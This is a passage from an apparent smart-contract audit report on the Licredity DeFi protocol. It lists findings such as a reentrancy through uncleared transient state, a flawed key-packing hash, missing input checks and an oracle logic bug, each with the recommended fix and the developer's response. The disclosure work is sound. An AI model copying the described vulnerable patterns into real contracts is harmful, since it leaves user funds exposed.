A more secure approach is to use Foundry's wallet management features, which allow encrypted key storage. For example, a private key can be imported into a local keystore using `cast`:

```
cast wallet import deployerKey --interactive
```

This key can then be referenced securely during deployment:

```
forge script script/Deploy.s.sol:DeployScript \
    --rpc-url "$RPC_URL" \
    --broadcast \
    --account deployerKey \
    --sender <address associated with deployerKey> \
    -vvv
```

For additional guidance, see this explanation video by Patrick.

Licredity: Acknowledged. But won't fix here as our plan is to create a separate repo specifically for coordinating deployment and initialization, for all core / oracle / periphery. Will implement more secure practice then

7.4.3 Reentrancy via `stagedFungible` not cleared before external call

Description: In `Licredity::exchangeFungible`, the transient `stagedFungible` flag is cleared only after the external call `baseFungible.transfer(recipient, amountOut)`. If the base token supports transfer callbacks (e.g., ERC777-like hooks), the recipient can reenter while `stagedFungible` is still set. During that reentrancy they can call `depositFungible`, which relies on the staged state, and get a deposit recorded without actually performing a fresh token transfer. This does not apply to the native-asset path because `_getStagedFungibleAndAmount` uses `msg.value`.

Impact: With standard ERC-20s there's no issue. If a callback-capable token were ever used, reentrancy during `transfer` could:

- observe or reuse stale staged state
- record a `depositFungible` without an accompanying transfer, causing accounting discrepancy and potential value loss.

Recommended mitigation: Follow checks-effects-interactions: clear the transient staged state before any external calls in `exchangeFungible`:

```
    (Fungible fungibleIn, uint256 amountIn) = _getStagedFungibleAndAmount();
    uint256 amountOut;

+   assembly ("memory-safe") {
+       // clear staged fungible
+       tstore(stagedFungible.slot, 0)
+   }

    // ...

    assembly ("memory-safe") {
        // clear staged fungible
-       tstore(stagedFungible.slot, 0)
```

Licredity: Fixed in PR#62, commit `fb6a049`

Cyfrin: Verified. `stagedFungible` now cleared before external call.

7.4.4 Erroneous packing in `Licredity::_calculateLiquidityKey`

Description. The contract creates a "liquidity key" (the ID used to track when an LP added liquidity) with custom bit-twiddling instead of the usual `keccak256(abi.encodePacked(provider, tickLower, tickUpper, salt))` in `Licredity::_calculateLiquidityKey`

```
assembly ("memory-safe") {
    // key = keccak256(abi.encodePacked(provider, tickLower, tickUpper, salt));
    mstore(0x00, or(or(shl(0x06, provider), shl(0x03, tickLower)), tickUpper))
    mstore(0x20, salt)
    key := keccak256(0x06, 0x3a)
}
```

However, it skips the first 6 bytes of the provider address and packs the tick values differently from standard ABI rules. Practically, that means:

- The key you get here won't match what off-chain tools (or other contracts) would compute from the same inputs using normal ABI packing.
- In extremely rare cases, two different providers could land on the same key for the same ticks+salt (e.g., addresses that only differ in their first few bytes), so they would share the same "onset" slot.

Impact. If two parties collide on a key, one could update the shared `liquidityOnsets[key]` and effectively reset the other party's minimum-lifespan timer, briefly delaying their ability to remove liquidity. There's no direct profit, finding such a collision is expensive, and liquidity below tick 0 is already discouraged by the swap guard.

Proof of Concept: Make `_calculateLiquidityKey` public and run this test:

```
function test_calculateLiquidityKey() public view {
    address ad = address(0x1234);
    int24 tL = -1;
    int24 tH = 1;
    bytes32 salt = "";
    bytes32 key1 = licredity._calculateLiquidityKey(ad,tL,tH,salt);
    bytes32 key2 = keccak256(abi.encodePacked(ad, tL, tH, salt));
    assertEq(key1, key2);
}
```

Recommended Mitigation: Correctly mask and use 46 and 24 in the shifts:

```
assembly ("memory-safe") {
    // key = keccak256(abi.encodePacked(provider, tickLower, tickUpper, salt));
    // Byte-aligned shifts and masks.
    let addr := and(provider, 0x000000000000000000000000ffffffffffffffffffffffffffffffffffffffff) // 20B
    let tl   := and(tickLower,  0xFFFFFF) // 3B two's complement
    let tu   := and(tickUpper,  0xFFFFFF) // 3B

    // [ 20B addr | 3B tl | 3B tu | (6B zero padding) ] in the 32B word,
    // so the slice from 0x06 of length 58 is exactly 20+3+3 + 32 salt bytes.
    let word := or(or(shl(48, addr), shl(24, tl)), tu) // 48 bits = 6 bytes, 24 bits = 3 bytes
    mstore(0x00, word)
    mstore(0x20, salt)
    key := keccak256(0x06, 0x3a)
}
```

Licredity: Fixed in PR#76, commit a5d9846

Cyfrin: Verified. tick bits now cleaned as well as offsets 48 and 24 are used.

7.5 Informational

7.5.1 Wrong short-circuit logic in Chainlink oracle update

Description: The `ChainlinkOracle::update` function attempts to short-circuit (skip) updates if neither the price nor the timestamp has changed by checking:

```
if (sqrtPriceX96 == lastPriceX96 && currentTimeStamp == block.timestamp) {
    return;
}
```

However, this logic is flawed because `sqrtPriceX96` is the square root price from Uniswap V4, while `lastPriceX96` is calculated as `(sqrtPriceX96^2) >> 96` (i.e., the actual price, not the square root). As a result, `sqrtPriceX96 == lastPriceX96` will almost never be true, except in trivial cases (e.g., both are zero). This means the short-circuit will almost never trigger, and the function will perform unnecessary calculations on every call.

Impact: Inefficient execution: The function will always proceed with the update logic, even when no update is needed, leading to unnecessary gas consumption.

Recommended Mitigation: Change the short-circuit condition to compare `sqrtPriceX96` with its previous value (store the last `sqrtPriceX96`), or compare the correctly calculated price values:

```
uint256 priceX96 = (uint256(sqrtPriceX96) * uint256(sqrtPriceX96)) >> 96;
if (priceX96 == lastPriceX96 && currentTimeStamp == block.timestamp) {
    return;
}
```

Alternatively, remove the short-circuit logic from the `update` function.

Licredity: Fixed in PR#14, commit `13e2cb0`

Cyfrin: Verified. `sqrtPriceX86` is now calculated before the comparison and used in the same.

7.5.2 Missing array length check

Description: The `ChainlinkOracle::quoteFungibles` function assumes that the `fungibles` and `amounts` arrays passed as arguments are of equal length. It iterates over `fungibles.length` and accesses `amounts[i]` for each index. If `amounts.length` is less than `fungibles.length`, the function will try to read out-of-bounds memory, leading to a revert. If `amounts.length` is greater than `fungibles.length`, the extra values in `amounts` will be ignored.

Impact: If `amounts.length < fungibles.length`, the function will revert with an out-of-bounds error, causing the transaction to fail. This can lead to unexpected reverts and denial of service for users or contracts interacting with this function. The lack of input validation may also make the contract harder to use correctly and more error-prone for integrators.

Recommended Mitigation: Add an explicit check at the start of the function to ensure that `fungibles.length == amounts.length`. Revert with a clear error message if the lengths do not match. For example:

```
require(fungibles.length == amounts.length, "Input length mismatch");
```

Licredity: Fixed in PR#60, commit `a5ba70b`

Cyfrin: Verified. NatSpec updated.

7.5.3 Missing valid bounds check in clamp

Description: The `FixedPointMath::clamp` function is intended to bound `x` between `minValue` and `maxValue`. However, if `minValue > maxValue`, the assembly logic first sets `z = max(x, minValue)` (which will be at least `minValue`), then caps `z` at `maxValue`. This means the function will always return `maxValue`, regardless of the input `x`. There is no revert or warning if the bounds are invalid, so the function silently assumes `minValue <= maxValue`.

Impact: If called with invalid bounds (`minValue > maxValue`), the function will not behave as expected and will always return `maxValue`. This can lead to subtle bugs or incorrect logic in contracts relying on proper clamping, potentially causing unexpected values to propagate through the system. The lack of input validation makes it harder to detect and debug such issues.

Recommended Mitigation: Add an explicit check at the start of the function to ensure that `minValue <= maxValue`. If not, revert with a clear error message. For example:

```
require(minValue <= maxValue, "FixedPointMath: minValue > maxValue");
```

This ensures the function only operates on valid bounds and prevents silent errors.

Alternatively, document that `clamp` expects bounds to be correct and does not perform a check.

Licredity: FIxed in PR#17, commit 4394467

Cyfrin: Verified. Check omitted due to gas saving but the nuance documented in natspec.

7.5.4 Missing zero address check in Uniswap modules initialization

Description: The `initialize` function in `UniswapV3ModuleLibrary` does not check if `poolFactory` or `positionManager` are the zero address. If `poolFactory` is set to `address(0)`, the module can be reinitialized, since the only protection against reinitialization is `require(address(self.poolFactory) == address(0), AlreadyInitialized());`. This allows an attacker or a bug to reset the module's configuration, which is not intended.

Similarly, the `initialize` function in `UniswapV4ModuleLibrary` does not check if `poolManager` or `positionManager` are the zero address. If `poolManager` is set to `address(0)`, the module can be reinitialized, since the only protection against reinitialization is `require(address(self.poolManager) == address(0), AlreadyInitialized());`. This allows an attacker or a bug to reset the module's configuration, which is not intended.

Impact: The modules can be reinitialized with new parameters if `poolFactory/poolManager` is set to zero, breaking immutability guarantees. This could lead to loss of control over the modules, misconfiguration, or security issues if the module is pointed to malicious contracts. Denial of service may occur if critical addresses are set to zero.

Recommended Mitigation: Add explicit checks to ensure that neither `poolFactory/poolManager` nor `positionManager` are the zero address during initialization. For example:

```
require(poolFactory != address(0) && positionManager != address(0), "UniswapV3Module: zero address");
```

and

```
require(poolManager != address(0) && positionManager != address(0), "UniswapV4Module: zero address");
```

This prevents accidental or malicious reinitialization and enforces proper configuration.

Licredity: Fixed in PR#15, commits, 21e5396, bd56d24, and d0845ae

Cyfrin: Verified. Initialize function now only takes positionManager, makes sure itself wasn't already initialized and use it to get associated factory / pool manager.

7.5.5 Missing zero address check for `recipient`

Description: The `Licredity::exchangeFungible`, `Licredity::withdrawFungible`, `Licredity::withdrawNonFungible`, and `Licredity::seize` functions does not validate the `recipient` address. For example, if a user calls `Licredity::withdrawFungible` and provides `address(0)` as the recipient, the function will proceed to transfer the fungible tokens to the zero address. Most token standards treat a transfer to the zero address as a burn, meaning the tokens are permanently and irretrievably lost.

Impact: A user could accidentally provide the zero address due to a user interface bug, a scripting error, or simple human mistake. This would lead to the irreversible loss of their withdrawn assets. While the action is initiated by the user, the contract could easily prevent this common and costly error.

Recommended Mitigation: Add a `require` statement at the beginning of the `withdrawFungible` function to ensure the `recipient` address is not the zero address.

```
// ...existing code...
    /// @inheritdoc ILicredity
    function withdrawFungible(uint256 positionId, address recipient, Fungible fungible, uint256 amount)
    ↪  external {
        require(recipient != address(0), "Cannot withdraw to zero address");
        Position storage position = positions[positionId];

        // require(position.owner == msg.sender, NotPositionOwner());
// ...existing code...
```

Licredity: Fixed in PR#58, commit `d0b6f6d`

Cyfrin: Verified. A modifier `noZeroAddress` is added and used by the above mentioned functions.

7.5.6 Missing minimum deposit enforcement

Description: The `Licredity::depositFungible` function does not enforce a minimum deposit size. This allows users to create or add to positions with extremely small, economically insignificant amounts of collateral (i.e., "dust").

Impact: Allowing dust deposits can lead to state bloat. A malicious actor could create a large number of positions with negligible value, cluttering the contract's storage. What is more, not having such check increases the overall attack vector surface in the contract.

Recommended Mitigation: Introduce a minimum deposit amount check within the `depositFungible` function. This can be a hardcoded constant or a configurable variable. If the deposit amount is below this threshold, the transaction should revert.

```
// ...existing code...
+    uint256 private constant MIN_DEPOSIT_AMOUNT = 10000; // Example value, should be set appropriately

     function depositFungible(uint256 positionId) external payable {
        Position storage position = positions[positionId];
        (Fungible fungible, uint256 amount) = _getStagedFungibleAndAmount();

+        require(amount >= MIN_DEPOSIT_AMOUNT, "Deposit amount too small");
        ...
    }
// ...existing code...
```

Licredity: Acknowledged. But we don't plan to fix this as 1) unclear it will cause any problem; 2) there are other ways to create dust assets / dust positions; and 3) prefer to not have magic numbers and suggested mitigation isn't practical - 0.001 BTC is meaningfully different from 0.001 PEPE.

7.5.7 Consider using a 2-step process to change `governor` in `ChainlinkOracle`

Description: `ChainlinkOracleConfigs::updateGovernor` switches `governor` in a single call. A typo or compromised signer could irreversibly hand over control. Consider using a 2-step process for `governor` changes as is done in `Licredity` (`RiskConfig`)

Licredity: Fixed in PR#19, commit `716cd8d`.

Cyfrin: Verified. 2stop governor handover is now used.

7.5.8 Missing zero delta check in `increaseDebtShare` and `decreaseDebtShare`

Description: The `Licredity::increaseDebtShare` and `Licredity::decreaseDebtShare` functions do not validate that the `delta` parameter is non-zero. A user can call these functions with `delta = 0`, which will result in an `amount` of 0. The function will proceed with its execution, performing all the necessary checks and state reads, but

will ultimately not alter the position's debt or the total debt balance. However, it will still emit an `IncreaseDebtShare` or `DecreaseDebtShare` event with zero values.

Impact:

- **Wasted Gas and Unnecessary Operations:** Calling these functions with a zero `delta` serves no purpose but still consumes gas for the function call and its internal operations.
- **Event Log Spamming:** It allows a malicious actor to spam the blockchain with zero-value events, which can clutter event logs and make it more difficult for off-chain monitoring tools and indexers to parse meaningful data. This is a low-level griefing vector.

Recommended Mitigation: Add a requirement at the beginning of both `increaseDebtShare` and `decreaseDebtShare` to ensure that `delta` is greater than zero.

```
// ...existing code...
    function increaseDebtShare(uint256 positionId, uint256 delta, address recipient)
        external
        returns (uint256 amount)
    {
        require(delta > 0, "Delta must be greater than zero");
        Position storage position = positions[positionId];

        // require(position.owner == msg.sender, NotPositionOwner());
// ...existing code...
// ...existing code...
    function decreaseDebtShare(uint256 positionId, uint256 delta, bool useBalance) external returns
    ↪  (uint256 amount) {
        require(delta > 0, "Delta must be greater than zero");
        Position storage position = positions[positionId];

        uint256 _totalDebtShare = totalDebtShare; // gas saving
// ...existing code...
```

Licredity: Acknowledged. But we'll leave as is, the thinking is 1) this vector wastes gas for the attacker but does not change state (other than the event); 2) similar vector still exists for other functions like `open()`, which cannot be easily prevented; 3) fixing it will result others to pay a bit extra gas for the check

7.5.9 EIP-20 transfer functions accept zero address causing unintended token burns

Description: EIP-20 compliance revealed that transfer() and transferFrom() accept the zero address as a recipient, which triggers token burning and causes unexpected totalSupply changes.

Impact: EIP-20 best practices.

Proof of Concept: Violated: https://prover.certora.com/output/52567/a06b3c48627f41239d2cb1f7e0e237f6/?anonymousKey=38b44e833d45c5bf433d65284f2359cca844ae62

```
// EIP20-05: Verify transfer() reverts in invalid conditions
// EIP-20: "The function SHOULD throw if the message caller's account balance does not have enough
↪  tokens to spend."
rule eip20_transferMustRevert(env e, address to, uint256 amount) {

    setup(e);

    // Snapshot the 'from' balance
    mathint fromBalancePrev = ghostERC20Balances128[_Licredity][e.msg.sender];

    // Attempt transfer with revert path
    transfer@withrevert(e, to, amount);
    bool reverted = lastReverted;

    assert(e.msg.sender == 0 => reverted,
```

```
            "[SAFETY] Transfer from zero address must revert");

    assert(to == 0 => reverted,
            "[SAFETY] Transfer to zero address must revert");

    assert(fromBalancePrev < amount => reverted,
            "[EIP-20] Transfer must revert if sender has insufficient balance");
}
```

Recommended Mitigation:

```
diff --git a/core/src/BaseERC20.sol b/core/src/BaseERC20.sol
index bed3880..5903415 100644
--- a/core/src/BaseERC20.sol
+++ b/core/src/BaseERC20.sol
@@ -56,6 +56,7 @@ abstract contract BaseERC20 is IERC20 {

     /// @inheritdoc IERC20
     function transfer(address to, uint256 amount) public returns (bool) {
+        require(to != address(0)); // @certora fix for eip20_transferMustRevert
         _transfer(msg.sender, to, amount);

         return true;
@@ -63,6 +64,7 @@ abstract contract BaseERC20 is IERC20 {

     /// @inheritdoc IERC20
     function transferFrom(address from, address to, uint256 amount) public returns (bool) {
+        require(to != address(0)); // @certora fix for eip20_transferFromMustRevert
         assembly ("memory-safe") {
             from := and(from, 0xffffffffffffffffffffffffffffffffffffffff)
```

Passed (after the fix): https://prover.certora.com/output/52567/75d18b94dee042a98d80ba9826a66417/?anonymousKey=b8999a782ea5486f333b616abe65aa0ce09a1767

Licredity: Fixed in PR#63, commit a15c17f

Cyfrin: Verified, `to` verified to not be `address(0)`.

7.5.10 Missing governor setter boundaries

Description: The governor functions `setMinLiquidityLifespan`, `setMinMargin`, and `setDebtLimit` in the `RiskConfigs` contract do not perform any validation on their input parameters. A privileged user (the `governor`) can set these critical risk parameters to any `uint256` value without any constraints.

Impact: While these functions are protected by an `onlyGovernor` modifier, the lack of input validation creates a risk of human error or misconfiguration. For example:

- Setting `_minLiquidityLifespan` to an extremely large value could effectively lock user liquidity positions for an unreasonable amount of time.
- Setting `_minMargin` or `_debtLimit` to an excessively high or low value could inadvertently halt core protocol functionality (like borrowing) or expose the protocol to unintended levels of risk. A simple typo or mistake in units could lead to significant operational issues.

Recommended Mitigation: Introduce sensible sanity checks (i.e., minimum and maximum bounds) for these parameters to act as a safeguard against accidental misconfiguration. This can be done by adding `require` statements to validate the input values.

Licredity: Fixed in PR#68, commit ba92282.

`minLiquidityLifespan` is given a cap of 7 days, ensure liquidity can be removed eventually. We opt to keep `minMargin` and `debtLimit` flexible, these are the levers we can pull in exceptional situations, for example to stop new debt from being issued after a sudden and drastic drop in anchor pool liquidity

Cyfrin: Verified. `minLiquidityLifespan` has a cap of 7 days.

7.5.11 Confusing timestamp naming in `ChainlinkOracle`

Description: In `ChainlinkOracle`, the timestamp variables are named in a confusing way. `currentTimeStamp` actually stores the last update time, and `lastUpdateTimeStamp` stores the previous update time. `ChainlinkOracle::update` moves `currentTimeStamp → lastUpdateTimeStamp` before setting `currentTimeStamp = block.timestamp`, but the names suggest "current" means "now," which it does not:

```
// if timestamp has changed, update cache
if (block.timestamp != currentTimeStamp) {
    lastPriceX96 = currentPriceX96;
    lastUpdateTimeStamp = currentTimeStamp;
    currentTimeStamp = block.timestamp;
}
```

Consider renaming for clarity, e.g.:

- `currentTimeStamp` → `lastUpdateTimestamp`
- `lastUpdateTimeStamp` → `prevUpdateTimestamp`"

Licredity: Acknowledged. But we are OK as is.

7.5.12 Dirty bits in `NonFungible` mid-field can break comparisons

Description: `NonFungible` is packed as `bytes32` with the layout `160 bits address | 32 bits empty | 64 bits tokenId`. Equality is implemented as a raw `bytes32` comparison:

```
/// @dev 160 bits token address | 32 bits empty | 64 bits token ID
type NonFungible is bytes32;

...

function equals(NonFungible self, NonFungible other) pure returns (bool) {
    return NonFungible.unwrap(self) == NonFungible.unwrap(other);
}
```

Because the 32-bit middle segment is unused, any non-zero "dirty bits" left there will cause otherwise identical `(address, tokenId)` pairs to compare unequal. This can break lookups and equality checks across modules that don't canonicalize the encoding. This can lead to hard-to-diagnose issues like unsuccessful removals from arrays/sets. We did not find a direct exploit path, but it's a footgun that can surface as integration bugs.

Consider adopting a canonical encoding and/or canonical equality:

- Easiest: consume the gap by widening `tokenId` to 96 bits so the entire word is meaningful.

```
// 160 bits addr | 96 bits id
function pack(address token, uint256 id) pure returns (NonFungible nf) {
    uint256 w = (uint256(uint160(token)) << 96) | (id & ((1 << 96) - 1));
    return NonFungible.wrap(bytes32(w));
}
```

- Or keep the 64-bit id, but zero the gap on pack and mask on equals:

```
uint256 constant MASK_ADDR  = uint256(type(uint160).max) << 96;
uint256 constant MASK_ID64  = uint256(type(uint64).max);
uint256 constant MASK_CANON = MASK_ADDR | MASK_ID64;

function pack(address token, uint256 id) pure returns (NonFungible nf) {
    uint256 w = (uint256(uint160(token)) << 96) | (id & MASK_ID64); // gap zeroed
    return NonFungible.wrap(bytes32(w));
}
```

```
function equals(NonFungible a, NonFungible b) pure returns (bool) {
    return (uint256(NonFungible.unwrap(a)) & MASK_CANON)
         == (uint256(NonFungible.unwrap(b)) & MASK_CANON);
}
```

Either approach ensures different encoders produce the same canonical value and equality is robust.

Licredity: Fixed in PR#66 and PR#77 commits `7498ea0` and `9be45ef`

Cyfrin: Verified. Middle 32 bits are now ignored when comparing.

7.5.13 Fungible array can contain zero-balance entries

Description: The `addFungible` function allows adding fungibles with zero amounts, while `removeFungible` correctly removes fungibles when balance reaches zero. This creates an inconsistency where the fungibles array can legitimately contain entries with zero balance in `fungibleStates`.

Impact: Edge case that creates state inconsistency.

Proof of Concept: Violated: https://prover.certora.com/output/52567/0586939d1ed34d3aa9e7292ab15eb1f9/?anonymousKey=07ffaae5e729a887ef83913c7d3e25027f3f51a2

```
// VS-LI-08: Fungibles in array must have corresponding fungibleStates with non-zero balance
// For every fungible in the fungibles array, there must be a corresponding fungibleStates entry with
↪  non-zero balance
invariant fungiblesHaveNonZeroBalance(env e)
    forall uint256 positionId. forall uint8 i.
        i < ghostLiPositionFungiblesLength[positionId]
            => ghostLiPositionFungibleStatesBalance112[positionId][ghostLiPositionFungibles[positionId]
            ↪  [i]] != 0
filtered { f -> !EXCLUDED_FUNCTION(f) } { preserved with (env eFunc) { SETUP(e, eFunc); } }
```

Recommended Mitigation:

```
diff --git a/core/src/types/Position.sol b/core/src/types/Position.sol
index 929f27e..d346262 100644
--- a/core/src/types/Position.sol
+++ b/core/src/types/Position.sol
@@ -44,6 +44,9 @@ library PositionLibrary {
         FungibleState state = self.fungibleStates[fungible];

         if (state.index() == 0) {
+
+            require(amount != 0); // @certora fix for fungiblesHaveNonZeroBalance
+
             // add a fungible to the fungibles array
             assembly ("memory-safe") {
                 let slot := add(self.slot, FUNGIBLES_OFFSET)
```

Passed (after the fix): https://prover.certora.com/output/52567/d54bd10fcbb1482fb2392dbe9a4a122f/?anonymousKey=410cd2a910ca4d91e2ec8d457aff189648ade968

Licredity: Fixed in PR#67, commit `7eba957`. Our preference is to not disallow operations that is harmless though useless. So we prevent state change (other than event) but do not revert.

Cyfrin: Verified. No state change if `amount` is zero.